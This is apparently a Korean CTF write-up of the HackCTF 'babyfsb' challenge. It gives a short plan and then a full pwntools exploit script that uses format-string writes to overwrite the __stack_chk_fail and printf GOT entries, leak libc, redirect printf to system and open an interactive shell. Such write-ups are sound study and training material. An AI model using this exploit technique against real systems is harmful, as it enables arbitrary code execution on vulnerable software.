HackCTF - babyfsb

2021. 6. 26. 16:58Pwnable

문제는 위와 같습니다.

ida를 통해서 문제를 확인해보면

위와 같은 구조를 가지고 있습니다.

전형적인 FSB문제입니다.

1. 어떻게 main으로 반복할 것인가

2. 어떻게 canary를 처리할 것인가

3. 어떻게 system주소를 가져올 것인가 세가지에 대해서 생각해보면 됩니다.

1번의 경우 canary를 덮은 경우 __stack_chk_fail함수를 호출하게 되는데 이 함수의 got를 main함수로 덮으면 됩니다.

2번의 경우 1번을 위해 사용하면 됩니다.

3번의 경우 main으로 복귀하는 루프문이 만들어진 이후 __libc_start_main인 main의 ret은 fsb를 이용해서 leak해서 풀이가 가능합니다.

아래는 exploit 코드입니다.

from pwn import *

#r = process("./babyfsb") 
r = remote("ctf.j0n9hyun.xyz", 3032)
e = ELF("./babyfsb")
l = ELF("./libc.so.6")
#l = e.libc
context.log_level = "debug"

main_add = e.sym['main'] #0x4006a6
__stack_chk_fail_got = e.got['__stack_chk_fail'] #0x601020
__libc_start_main_offset  = l.sym['__libc_start_main']
system_offset = l.sym['system']     
one_shot_offset = [0x4f2c5,0x4f322,0x10a38c] #local
printf_got = e.got['printf']
#one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147] #remote

log.info("main_add = " + hex(main_add))
log.info("__stack_chk_fail_got = " + hex(__stack_chk_fail_got))
log.info("__libc_start_main_offset = " + hex(__libc_start_main_offset))


pause()
pay = ""
pay += "%" + str(0x40) + "c%12$n"
pay += "%" + str(0x06a6-0x40) + "c%13$hn"
pay += "%15$p"
pay = pay.ljust(0x30, '\0')
pay += p64(__stack_chk_fail_got+2)
pay += p64(__stack_chk_fail_got)
pause()
r.sendafter("hello\n" ,pay)
pause()

r.recvuntil("@")
leak = int(r.recv(14), 16)
libc_start_main_add = leak - 231
libc_base_add = libc_start_main_add - __libc_start_main_offset - 9
system_add = libc_base_add + system_offset
one_shot_add = libc_base_add + one_shot_offset[0]

log.info("leak = " + hex(leak))
log.info("libc_start_main_add = " + hex(libc_start_main_add))
log.info("libc_base_add = " + hex(libc_base_add))
log.info("system_add = " + hex(system_add))
log.info("one_shot_add = " + hex(one_shot_add))


system_add_low = system_add & 0xffff
system_add_middle = (system_add >> 16) & 0xffff
system_add_high = (system_add >> 32) & 0xffff

if system_add_middle > system_add_low:
    system_add_middle = system_add_middle - system_add_low
else:
    system_add_middle = 0x10000 + system_add_middle - system_add_low

if system_add_high > (system_add_middle + system_add_low):
    system_add_high = system_add_high - (system_add_middle + system_add_low)
else:
    system_add_high = 0x10000 + system_add_high - system_add_middle - system_add_low


log.info("system_add_low = " + hex(system_add_low))
log.info("system_add_middle = " + hex(system_add_middle))
log.info("system_add_high = " + hex(system_add_high))

pay = ""
pay += "%" + str(system_add_low) + "c%11$hn"
pay += "%" + str(system_add_middle) + "c%12$hn"
pay += "%" + str(system_add_high) + "c%13$hn"
pay += "A"*(40-len(pay))
pay += p64(printf_got)
pay += p64(printf_got+2)
pay += p64(printf_got+4)
print(pay)
pause()
r.sendafter("hello\n" ,pay)

r.interactive()

'''
one_shot_low = one_shot_add & 0xffff
one_shot_middle = (one_shot_add >> 16) & 0xffff
one_shot_high = (one_shot_add >> 32) & 0xffff

low = one_shot_low

if one_shot_middle > one_shot_low:
    middle = one_shot_middle - one_shot_low
else:
    middle = 0x10000 + one_shot_middle - one_shot_low

if one_shot_high > one_shot_middle:
    high = one_shot_high - one_shot_middle
else:
    high = 0x10000 + one_shot_high - one_shot_middle

pay = ""
pay += "%" + str(low) + "c%11$hn"
pay += "%" + str(middle) + "c%12$hn"
pay += "%" + str(high) + "c%13$hn"
pay += "A"*(40-len(pay))
pay += p64(__stack_chk_fail_got)
pay += p64(__stack_chk_fail_got+2)
pay += p64(__stack_chk_fail_got+4)
print(pay)
print(len(pay))
pause()
r.sendafter("hello\n" ,pay)
r.interactive()
#leak - 231
'''

 

'Pwnable' 카테고리의 다른 글

dreamhack.io - validator  (0) 2021.07.13
HackCTF - ezshell  (0) 2021.07.13
HackCTF - ChildFSB  (1) 2021.07.08
HackCTF - ChildHeap  (0) 2021.07.02
PuTTy 설치 & 한글깨짐  (0) 2018.02.28